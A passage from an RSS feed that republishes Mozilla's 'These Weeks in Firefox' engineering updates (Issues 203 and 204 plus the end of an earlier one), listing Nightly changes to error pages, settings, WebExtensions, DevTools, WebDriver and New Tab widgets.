<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
